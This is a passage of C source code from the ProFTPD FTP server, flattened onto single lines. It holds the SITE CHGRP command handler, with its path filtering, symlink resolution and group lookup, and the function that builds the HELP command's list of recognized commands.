MODRET site_chgrp(cmd_rec *cmd) { int res; gid_t gid; char *path = NULL, *tmp = NULL, *arg = ""; struct stat st; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("SITE %s: Illegal character sequence in command"), (char *) cmd->argv[1]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", decoded_path, NULL); } #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathAllowFilter", (char *) cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathDenyFilter", (char *) cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } #endif if (pr_fsio_lstat(arg, &st) == 0) { if (S_ISLNK(st.st_mode)) { char link_path[PR_TUNABLE_PATH_MAX]; int len; memset(link_path, '\0', sizeof(link_path)); len = dir_readlink(cmd->tmp_pool, arg, link_path, sizeof(link_path)-1, PR_DIR_READLINK_FL_HANDLE_REL_PATH); if (len > 0) { link_path[len] = '\0'; arg = pstrdup(cmd->tmp_pool, link_path); } } } path = dir_realpath(cmd->tmp_pool, arg); if (path == NULL) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } /* Map the given group argument, if a string, to a GID. If already a * number, pass through as is. */ gid = strtoul(cmd->argv[1], &tmp, 10); if (tmp && *tmp) { /* Try the parameter as a group name. */ gid = pr_auth_name2gid(cmd->tmp_pool, cmd->argv[1]); if (gid == (gid_t) -1) { int xerrno = EINVAL; pr_log_debug(DEBUG9, "SITE CHGRP: Unable to resolve group name '%s' to GID", (char *) cmd->argv[1]); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } } res = core_chgrp(cmd, path, (uid_t) -1, gid); if (res < 0) { int xerrno = errno; (void) pr_trace_msg("fileperms", 1, "%s, user '%s' (UID %s, GID %s): " "error chown'ing '%s' to GID %s: %s", (char *) cmd->argv[0], session.user, pr_uid2str(cmd->tmp_pool, session.uid), pr_gid2str(cmd->tmp_pool, session.gid), path, pr_gid2str(cmd->tmp_pool, gid), strerror(xerrno)); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_200, _("SITE %s command successful"), (char *) cmd->argv[0]); return PR_HANDLED(cmd); }
int pr_help_add_response(cmd_rec *cmd, const char *target) { if (help_list) { register unsigned int i; struct help_rec *helps = help_list->elts; char *outa[8], *outstr; char buf[9] = {'\0'}; int col = 0; if (!target) { pr_response_add(R_214, "The following commands are recognized (* =>'s unimplemented):"); memset(outa, '\0', sizeof(outa)); for (i = 0; i < help_list->nelts; i++) { outstr = ""; if (helps[i].impl) outa[col++] = (char *) helps[i].cmd; else outa[col++] = pstrcat(cmd->tmp_pool, helps[i].cmd, "*", NULL); /* 8 rows */ if ((i + 1) % 8 == 0) { register unsigned int j; for (j = 0; j < 8; j++) { if (outa[j]) { snprintf(buf, sizeof(buf), "%-8s", outa[j]); buf[sizeof(buf)-1] = '\0'; outstr = pstrcat(cmd->tmp_pool, outstr, buf, NULL); } else break; } if (*outstr) pr_response_add(R_DUP, "%s", outstr); memset(outa, '\0', sizeof(outa)); col = 0; outstr = ""; } } pr_response_add(R_DUP, "Direct comments to %s", cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin"); } else { /* List the syntax for the given target command. */ for (i = 0; i < help_list->nelts; i++) { if (strcasecmp(helps[i].cmd, target) == 0) { pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd, helps[i].syntax); return 0; } } } errno = ENOENT; return -1; } errno = ENOENT; return -1; }